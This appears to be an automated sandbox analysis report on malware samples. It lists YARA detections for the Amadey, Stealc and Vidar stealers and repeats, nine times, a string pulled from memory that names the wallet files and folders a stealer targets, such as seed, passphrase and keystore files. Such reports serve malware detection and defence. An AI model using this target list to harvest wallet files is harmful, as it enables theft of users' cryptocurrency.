Code function: 0_2_6C9335A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9335A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.DocumentsFHJDBKJKFI.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000003.2825126451.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2887895698.0000000000D31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.3452724623.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2865411900.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2795756213.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3284178172.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2872409657.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2912852479.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2808726790.0000000000441000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2251663743.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3564, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3564, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
